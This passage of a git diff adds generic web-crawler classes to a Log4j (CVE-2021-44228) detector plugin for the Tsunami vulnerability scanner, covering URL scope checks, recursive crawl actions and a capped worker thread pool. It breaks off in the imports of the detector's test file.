b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/CrawlUtils.java new file mode 100644 index 000000000..96e55ea60 --- /dev/null +++ b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/CrawlUtils.java @@ -0,0 +1,40 @@ +/* + * Copyright 2020 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202144228.crawl; + +import static com.google.common.net.HttpHeaders.CONTENT_TYPE; + +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.proto.CrawlResult; +import com.google.tsunami.proto.CrawlTarget; + +/** Utilities for crawling and crawl results. */ +public final class CrawlUtils { + + public static CrawlResult buildCrawlResult( + CrawlTarget crawlTarget, int crawlDepth, HttpResponse httpResponse) { + CrawlResult.Builder crawlResultBuilder = + CrawlResult.newBuilder() + .setCrawlTarget(crawlTarget) + .setCrawlDepth(crawlDepth) + .setResponseCode(httpResponse.status().code()); + httpResponse.headers().get(CONTENT_TYPE).ifPresent(crawlResultBuilder::setContentType); + httpResponse.bodyBytes().ifPresent(crawlResultBuilder::setContent); + return crawlResultBuilder.build(); + } + + private CrawlUtils() {} +} diff --git a/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/Crawler.java b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/Crawler.java new file mode 100644 index 000000000..6bc4d610b --- /dev/null +++ b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/Crawler.java @@ -0,0 +1,54 @@ +/* + * Copyright 2020 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202144228.crawl; + +import com.google.common.collect.ImmutableSet; +import com.google.common.util.concurrent.ListenableFuture; +import com.google.tsunami.proto.CrawlConfig; +import com.google.tsunami.proto.CrawlResult; +import java.util.concurrent.ExecutionException; + +/** + * A crawler starts from several seeding URLs and recursively fetches web content by following + * reachable links extracted from the requested resources. + */ +public interface Crawler { + + /** + * Performs the crawling action based on the given {@code crawlConfig}. + * + * @param crawlConfig config for this crawling action + * @return all the fetched web contents. + */ + default ImmutableSet crawl(CrawlConfig crawlConfig) { + try { + return crawlAsync(crawlConfig).get(); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + throw new CrawlerException("Crawler got interrupted.", e); + } catch (ExecutionException e) { + throw new CrawlerException("Crawler failed crawling with unexpected error.", e); + } + } + + /** + * Performs the crawling action based on the given {@code crawlConfig}, asynchronously. + * + * @param crawlConfig config for this crawling action + * @return all the fetched web contents. + */ + ListenableFuture> crawlAsync(CrawlConfig crawlConfig); +} diff --git a/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/CrawlerException.java b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/CrawlerException.java new file mode 100644 index 000000000..ba301a151 --- /dev/null +++ b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/CrawlerException.java @@ -0,0 +1,23 @@ +/* + * Copyright 2020 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202144228.crawl; + +/** Exception used to signal when the crawler failed to crawl a web application. */ +public final class CrawlerException extends RuntimeException { + public CrawlerException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/ScopeUtils.java b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/ScopeUtils.java new file mode 100644 index 000000000..cd1ddb11d --- /dev/null +++ b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/ScopeUtils.java @@ -0,0 +1,145 @@ +/* + * Copyright 2020 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202144228.crawl; + +import static com.google.common.base.Preconditions.checkArgument; + +import com.google.common.base.CharMatcher; +import com.google.common.base.Joiner; +import com.google.common.base.Splitter; +import com.google.common.base.Strings; +import com.google.common.collect.Iterables; +import com.google.tsunami.proto.CrawlConfig.Scope; +import java.util.List; +import java.util.OptionalInt; +import java.util.regex.Pattern; +import okhttp3.HttpUrl; + +/** Static utility methods pertaining to {@link Scope} proto buffer. */ +public final class ScopeUtils { + private static final Pattern ENDING_SLASHES_PATTERN = Pattern.compile("/+$"); + private static final Joiner PATH_JOINER = Joiner.on('/'); + + private ScopeUtils() {} + + /** + * Checks if the given {@code url} is within the {@code scope}. Subpaths and subdomains are + * accepted. Port comparison is only enforced if the scope port is present. + */ + public static boolean isInScope(Scope scope, String url) { + checkArgument(!Strings.isNullOrEmpty(url), "Url cannot be empty."); + + return isInScope(scope, fromUrl(url)); + } + + /** + * Checks if the given {@code other} Scope is within the {@code scope}. Subpaths and subdomains + * are accepted. Port comparison is only enforced if the scope port is present. + */ + public static boolean isInScope(Scope scope, Scope other) { + scope = normalize(scope); + other = normalize(other); + + String scopeHost = getHost(scope.getDomain()); + String otherHost = getHost(other.getDomain()); + OptionalInt scopePort = getPort(scope.getDomain()); + OptionalInt otherPort = getPort(other.getDomain()); + String scopePath = scope.getPath(); + String otherPath = other.getPath(); + + // Accept sub-paths and subdomains. Port comparison is only enforced hen the scope port is + // present. + return (otherHost.equals(scopeHost) || otherHost.endsWith("." + scopeHost)) + && (otherPath.equals(scopePath) || otherPath.startsWith(scopePath + "/")) + && (!scopePort.isPresent() || scopePort.getAsInt() == otherPort.orElse(-1)); + } + + /** Builds a {@link Scope} protobuf from the given {@code url}. */ + public static Scope fromUrl(String url) { + HttpUrl httpUrl = HttpUrl.parse(url); + if (httpUrl == null) { + throw new IllegalArgumentException(String.format("Input url '%s' cannot be parsed.", url)); + } + + String domain = buildScopeDomain(httpUrl); + List pathSegments = httpUrl.pathSegments(); + + // If path ends with "/", build Scope directly from path. + if (Iterables.getLast(pathSegments).isEmpty()) { + return normalize( + Scope.newBuilder() + .setDomain(domain) + .setPath(buildPathFromSegments(pathSegments)) + .build()); + } + + // If the URL has more than one path segment, drop the last segment, e.g. /path/last -> /path. + if (pathSegments.size() > 1) { + pathSegments = pathSegments.subList(0, pathSegments.size() - 1); + } + + // Drop the last segment if it is a filename, e.g. /path/index.html -> /path. + String lastPath = Iterables.getLast(pathSegments); + if (lastPath.contains(".")) { + List segments = Splitter.on('.').splitToList(lastPath); + // Heuristic check on whether the last segment is a filename. + if (!segments.get(0).isEmpty() && segments.get(1).length() < 5) { + pathSegments = pathSegments.subList(0, pathSegments.size() - 1); + } + } + + return normalize( + Scope.newBuilder().setDomain(domain).setPath(buildPathFromSegments(pathSegments)).build()); + } + + private static Scope normalize(Scope scope) { + // Remove trailing slashes in domain and path. + return Scope.newBuilder() + .setDomain(ENDING_SLASHES_PATTERN.matcher(scope.getDomain()).replaceAll("")) + .setPath(ENDING_SLASHES_PATTERN.matcher(scope.getPath()).replaceAll("")) + .build(); + } + + private static String buildPathFromSegments(List segments) { + return "/" + PATH_JOINER.join(segments); + } + + private static String buildScopeDomain(HttpUrl url) { + StringBuilder scopeDomainBuilder = new StringBuilder(url.host()); + if (url.isHttps() ? url.port() == 443 : url.port() == 80) { + // Ignores well known ports. + return scopeDomainBuilder.toString(); + } + return scopeDomainBuilder.append(":").append(url.port()).toString(); + } + + private static String getHost(String domain) { + return (CharMatcher.is(':').countIn(domain) == 1) + ? Splitter.on(':').splitToList(domain).get(0) + : domain; + } + + private static OptionalInt getPort(String domain) { + if (CharMatcher.is(':').countIn(domain) == 1) { + try { + return OptionalInt.of(Integer.parseInt(Splitter.on(':').splitToList(domain).get(1))); + } catch (NumberFormatException e) { + return OptionalInt.empty(); + } + } + return OptionalInt.empty(); + } +} diff --git a/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlAction.java b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlAction.java new file mode 100644 index 000000000..c37956d4d --- /dev/null +++ b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlAction.java @@ -0,0 +1,163 @@ +/* + * Copyright 2020 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202144228.crawl; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableSet.toImmutableSet; +import static com.google.tsunami.plugins.detectors.cves.cve202144228.crawl.CrawlUtils.buildCrawlResult; + +import com.google.common.base.Strings; +import com.google.common.collect.ImmutableSet; +import com.google.common.collect.Streams; +import com.google.common.flogger.GoogleLogger; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpMethod; +import com.google.tsunami.common.net.http.HttpRequest; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.proto.CrawlConfig; +import com.google.tsunami.proto.CrawlResult; +import com.google.tsunami.proto.CrawlTarget; +import java.util.Optional; +import java.util.concurrent.RecursiveAction; +import java.util.stream.Stream; +import okhttp3.HttpUrl; + +/** + * A {@link RecursiveAction} that crawls a single web target. + * + *

The {@link SimpleCrawlAction} performs the crawling in the following fashion: + * + *

    + *
  1. Check whether the given target has already been visited. If so, {@link SimpleCrawlAction} + * does nothing. + *
  2. If the target is a new target, send HTTP request to the target to retrieve the web + * resources serviced on the target. + *
  3. Fill HTTP response data into {@link CrawlResult} protobuf. + *
  4. Extract links HTTP response headers and response body. + *
  5. For each links from HTTP response, create a new {@link SimpleCrawlAction} on the link + * target and invoke all new actions. (This blocking recursive call is OK in a {@link + * RecursiveAction} and {@link java.util.concurrent.ForkJoinPool}. + *
+ */ +final class SimpleCrawlAction extends RecursiveAction { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + + private final int currentDepth; + private final HttpClient httpClient; + private final CrawlConfig crawlConfig; + private final CrawlTarget crawlTarget; + private final SimpleCrawlerResults crawlerResults; + + SimpleCrawlAction( + int currentDepth, + HttpClient httpClient, + CrawlConfig crawlConfig, + CrawlTarget crawlTarget, + SimpleCrawlerResults crawlerResults) { + this.currentDepth = currentDepth; + this.httpClient = checkNotNull(httpClient); + this.crawlConfig = checkNotNull(crawlConfig); + this.crawlTarget = checkNotNull(crawlTarget); + this.crawlerResults = checkNotNull(crawlerResults); + } + + String getTargetUrl() { + return crawlTarget.getUrl(); + } + + @Override + protected void compute() { + crawlerResults + .recordNewCrawlIfNotVisited(crawlTarget) + .ifPresent( + crawlResultBuilder -> { + try { + // This is a new CrawlTarget, performs the crawl and spawn new actions for the links + // extracted from the crawl response. + HttpResponse httpResponse = + httpClient.send(buildHttpRequest(crawlTarget), crawlConfig.getNetworkService()); + logger.atInfo().log( + "SimpleCrawlAction visited target '%s' with method '%s' at depth '%d'," + + " response code: %d.", + crawlTarget.getUrl(), + crawlTarget.getHttpMethod(), + currentDepth, + httpResponse.status().code()); + + crawlResultBuilder.mergeFrom( + buildCrawlResult(crawlTarget, currentDepth, httpResponse)); + spawnNewCrawlActions(httpResponse); + } catch (Throwable e) { + // Ignore all errors here as we don't try to recover. Failed crawl targets are + // simply ignored. + logger.atWarning().withCause(e).log( + "SimpleCrawlAction cannot reach web resources at '%s', crawl target skipped.", + crawlTarget.getUrl()); + } + }); + } + + private static HttpRequest buildHttpRequest(CrawlTarget crawlTarget) { + HttpUrl targetUrl = HttpUrl.parse(crawlTarget.getUrl()); + if (targetUrl == null) { + throw new IllegalArgumentException( + String.format( + "SimpleCrawlAction received a target with an invalid URL ('%s')", + crawlTarget.getUrl())); + } + + return HttpRequest.builder() + .setMethod(HttpMethod.valueOf(crawlTarget.getHttpMethod())) + .setUrl(targetUrl) + .withEmptyHeaders() + .build(); + } + + private void spawnNewCrawlActions(HttpResponse httpResponse) { + // Stop crawling when the action reaches the max crawling depth. + if (currentDepth >= crawlConfig.getMaxDepth()) { + return; + } + + HttpUrl baseUrl = HttpUrl.parse(crawlTarget.getUrl()); + ImmutableSet newCrawlActions = + // Get new crawl targets from both HTTP headers and response body. + Streams.concat( + CrawlTargetUtils.extractFromHeaders(httpResponse.headers(), baseUrl).stream(), + httpResponse + .bodyString() + .map(body -> CrawlTargetUtils.extractFromHtml(body, baseUrl).stream()) + .orElse(Stream.empty())) + // Ignore invalid CrawlTarget urls. + .filter(SimpleCrawlAction::isValidCrawlTarget) + // Ignore out-of-scope URLs. + .filter(crawlTarget -> CrawlConfigUtils.isCrawlTargetInScope(crawlConfig, crawlTarget)) + .map(this::newCrawlAction) + .collect(toImmutableSet()); + invokeAll(newCrawlActions); + } + + private static boolean isValidCrawlTarget(CrawlTarget crawlTarget) { + return Optional.ofNullable(HttpUrl.parse(crawlTarget.getUrl())) + .map(httpUrl -> !Strings.isNullOrEmpty(httpUrl.host())) + .orElse(false); + } + + private SimpleCrawlAction newCrawlAction(CrawlTarget newCrawlTarget) { + return new SimpleCrawlAction( + currentDepth + 1, httpClient, crawlConfig, newCrawlTarget, crawlerResults); + } +} diff --git a/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawler.java b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawler.java new file mode 100644 index 000000000..c928a60e4 --- /dev/null +++ b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawler.java @@ -0,0 +1,99 @@ +/* + * Copyright 2020 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202144228.crawl; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableSet.toImmutableSet; +import static com.google.common.util.concurrent.MoreExecutors.directExecutor; + +import com.google.common.collect.ImmutableSet; +import com.google.common.flogger.GoogleLogger; +import com.google.common.util.concurrent.Futures; +import com.google.common.util.concurrent.ListenableFuture; +import com.google.common.util.concurrent.ListeningExecutorService; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpMethod; +import com.google.tsunami.proto.CrawlConfig; +import com.google.tsunami.proto.CrawlResult; +import com.google.tsunami.proto.CrawlTarget; +import java.util.concurrent.ForkJoinPool; +import javax.inject.Inject; + +/** + * A simple multithreaded implementation for a web crawler. + * + *

Under the hood this crawler assigns initial crawling tasks for the seeding URLs into a {@link + * ForkJoinPool}. Each worker thread in the pool will crawl one single URL, spawn and assign more + * crawling tasks back into the pool based on the links extracted from the crawled web resources. + */ +public final class SimpleCrawler implements Crawler { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + + private final ForkJoinPool forkJoinPool; + private final ListeningExecutorService schedulingPool; + private final HttpClient httpClient; + + @Inject + SimpleCrawler( + @SimpleCrawlerWorkerPool ForkJoinPool forkJoinPool, + @SimpleCrawlerSchedulingPool ListeningExecutorService schedulingPool, + HttpClient httpClient) { + this.forkJoinPool = checkNotNull(forkJoinPool); + this.schedulingPool = checkNotNull(schedulingPool); + this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); + } + + @Override + public ListenableFuture> crawlAsync(CrawlConfig crawlConfig) { + // A global state shared across all crawling worker thread. + SimpleCrawlerResults crawlerResults = new SimpleCrawlerResults(); + CrawlConfig crawlConfigWithScopes = CrawlConfigUtils.createDefaultScopesIfAbsent(crawlConfig); + + // Starts crawling action on each seeding URL and ignores crawling errors. + ImmutableSet> crawlActionFutures = + crawlConfig.getSeedingUrlsList().stream() + .map(seedingUrl -> buildCrawlAction(crawlConfigWithScopes, seedingUrl, crawlerResults)) + .map(crawlAction -> startCrawlAction(crawlAction, schedulingPool)) + .collect(toImmutableSet()); + return Futures.whenAllComplete(crawlActionFutures) + .call(crawlerResults::getFinalResults, schedulingPool); + } + + private SimpleCrawlAction buildCrawlAction( + CrawlConfig crawlConfig, String url, SimpleCrawlerResults crawlerResults) { + CrawlTarget crawlTarget = + CrawlTarget.newBuilder().setHttpMethod(HttpMethod.GET.toString()).setUrl(url).build(); + return new SimpleCrawlAction(0, httpClient, crawlConfig, crawlTarget, crawlerResults); + } + + private ListenableFuture startCrawlAction( + SimpleCrawlAction crawlAction, ListeningExecutorService executorService) { + return Futures.catching( + // Start a crawling action on the working pool and assign a thread in executorService to + // wait for the result. + executorService.submit(() -> forkJoinPool.invoke(crawlAction)), + // Simple crawler simply swallows all exceptions from the worker pool and ignore the errored + // seed. + Throwable.class, + throwable -> { + logger.atWarning().withCause(throwable).log( + "Simple crawler failed crawling seeding url '%s', seed is ignored.", + crawlAction.getTargetUrl()); + return null; + }, + directExecutor()); + } +} diff --git a/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlerModule.java b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlerModule.java new file mode 100644 index 000000000..60720e6ff --- /dev/null +++ b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlerModule.java @@ -0,0 +1,107 @@ +/* + * Copyright 2020 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202144228.crawl; + +import com.google.inject.AbstractModule; +import com.google.inject.Provides; +import com.google.tsunami.common.concurrent.ThreadPoolModule; +import java.time.Duration; +import java.util.concurrent.ForkJoinPool; +import java.util.concurrent.ForkJoinPool.ForkJoinWorkerThreadFactory; +import java.util.concurrent.ForkJoinWorkerThread; +import java.util.concurrent.atomic.AtomicInteger; + +/** Guice module for installing the {@link SimpleCrawler} and dependencies. */ +public final class SimpleCrawlerModule extends AbstractModule { + private final int maxActiveThreads; + private final SimpleCrawlerWorkerThreadFactory threadFactory; + + public SimpleCrawlerModule(int maxActiveThreads) { + this.maxActiveThreads = maxActiveThreads; + this.threadFactory = new SimpleCrawlerWorkerThreadFactory(maxActiveThreads); + } + + @Override + protected void configure() { + bind(Crawler.class).to(SimpleCrawler.class); + install( + new ThreadPoolModule.Builder() + .setName("SimpleCrawlerSchedulingPool") + .setCoreSize(maxActiveThreads) + .setMaxSize(maxActiveThreads) + .setQueueCapacity(maxActiveThreads) + .setDaemon(true) + .setDelayedShutdown(Duration.ofMinutes(1)) + .setPriority(Thread.NORM_PRIORITY) + .setAnnotation(SimpleCrawlerSchedulingPool.class) + .build()); + } + + @Provides + @SimpleCrawlerWorkerPool + ForkJoinPool providesSimpleCrawlerWorkerPool() { + return new ForkJoinPool(maxActiveThreads, threadFactory, null, false); + } + + /** + * A {@link ForkJoinWorkerThreadFactory} implementation for executing {@link SimpleCrawler} tasks. + * + *

This implementation follows the discussion thread on "ForkJoinPool cap on number of threads" + * (see http://cs.oswego.edu/pipermail/concurrency-interest/2015-March/014187.html) to add a cap + * on the number of running threads by supplying a custom thread pool that returns null when the + * cap is exceeded. + * + *

We don't provide a general {@link ThreadPoolModule} + * variant for {@link ForkJoinPool} in Tsunami's codebase as we don't expect other use cases for + * it in any foreseeable future. + * + * TODO: replace this with the new JDK9 ForkJoinPool constructor once Tsunami is Java 11 ready. + */ + private static final class SimpleCrawlerWorkerThreadFactory + implements ForkJoinWorkerThreadFactory { + private final int maxActiveThreads; + private final AtomicInteger threadCounter = new AtomicInteger(); + private final AtomicInteger activeThreads = new AtomicInteger(); + + SimpleCrawlerWorkerThreadFactory(int maxActiveThreads) { + this.maxActiveThreads = maxActiveThreads; + } + + @Override + public ForkJoinWorkerThread newThread(ForkJoinPool pool) { + int currentActive; + do { + currentActive = activeThreads.get(); + if (currentActive >= maxActiveThreads) { + // Reject requests by returning null to enforce the cap on worker threads. + return null; + } + } while (!activeThreads.compareAndSet(currentActive, currentActive + 1)); + + ForkJoinWorkerThread thread = + new ForkJoinWorkerThread(pool) { + @Override + protected void onTermination(Throwable exception) { + activeThreads.decrementAndGet(); + super.onTermination(exception); + } + }; + thread.setName("SimpleCrawlerWorkerThread-" + threadCounter.getAndIncrement()); + thread.setDaemon(true); + return thread; + } + } +} diff --git a/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlerResults.java b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlerResults.java new file mode 100644 index 000000000..8a5c6a039 --- /dev/null +++ b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlerResults.java @@ -0,0 +1,50 @@ +/* + * Copyright 2020 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202144228.crawl; + +import static com.google.common.collect.ImmutableSet.toImmutableSet; + +import com.google.common.collect.ImmutableSet; +import com.google.common.collect.Maps; +import com.google.tsunami.proto.CrawlResult; +import com.google.tsunami.proto.CrawlTarget; +import java.util.Optional; +import java.util.concurrent.ConcurrentMap; + +/** A thread safe crawl results holder for {@link SimpleCrawler}. */ +final class SimpleCrawlerResults { + private final ConcurrentMap crawlResultBuilderMap = + Maps.newConcurrentMap(); + + ImmutableSet getFinalResults() { + return crawlResultBuilderMap.values().stream() + .map(CrawlResult.Builder::build) + .filter(crawlResult -> !crawlResult.equals(CrawlResult.getDefaultInstance())) + .collect(toImmutableSet()); + } + + /** + * Records a potentially new crawling target if the target hasn't been visited by other crawling + * worker yet. This method guarantees that only one crawling worker thread gets the created + * CrawlResult builder. + */ + Optional recordNewCrawlIfNotVisited(CrawlTarget crawlTarget) { + CrawlResult.Builder newCrawlResultBuilder = CrawlResult.newBuilder(); + return crawlResultBuilderMap.putIfAbsent(crawlTarget, newCrawlResultBuilder) == null + ? Optional.of(newCrawlResultBuilder) + : Optional.empty(); + } +} diff --git a/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlerSchedulingPool.java b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlerSchedulingPool.java new file mode 100644 index 000000000..6d202a4c0 --- /dev/null +++ b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlerSchedulingPool.java @@ -0,0 +1,25 @@ +/* + * Copyright 2020 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202144228.crawl; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import javax.inject.Qualifier; + +/** Annotates the thread pool for scheduling the crawling workers of the {@link SimpleCrawler}. */ +@Qualifier +@Retention(RetentionPolicy.RUNTIME) +@interface SimpleCrawlerSchedulingPool {} diff --git a/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlerWorkerPool.java b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlerWorkerPool.java new file mode 100644 index 000000000..944b1a13b --- /dev/null +++ b/community/detectors/log4j_rce/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202144228/crawl/SimpleCrawlerWorkerPool.java @@ -0,0 +1,25 @@ +/* + * Copyright 2020 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202144228.crawl; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import javax.inject.Qualifier; + +/** Annotates the thread pool for executing the crawl actions of the {@link SimpleCrawler}. */ +@Qualifier +@Retention(RetentionPolicy.RUNTIME) +@interface SimpleCrawlerWorkerPool {} diff --git a/community/detectors/log4j_rce/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228VuLnDetectorTest.java b/community/detectors/log4j_rce/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228VuLnDetectorTest.java new file mode 100644 index 000000000..3a6c161f9 --- /dev/null +++ b/community/detectors/log4j_rce/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202144228/Cve202144228VuLnDetectorTest.java @@ -0,0 +1,187 @@ +/* + * Copyright 2021 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202144228; + +import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; +import static com.google.tsunami.plugins.detectors.cves.cve202144228.Cve202144228VulnDetector.OOB_DOMAIN; +import static com.google.tsunami.plugins.detectors.cves.cve202144228.Cve202144228VulnDetector.VULN_DESCRIPTION; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.Software; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TransportProtocol; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.net.InetAddress; +import java.net.UnknownHostException; +import java.time.Instant; +import javax.inject.Inject; +import 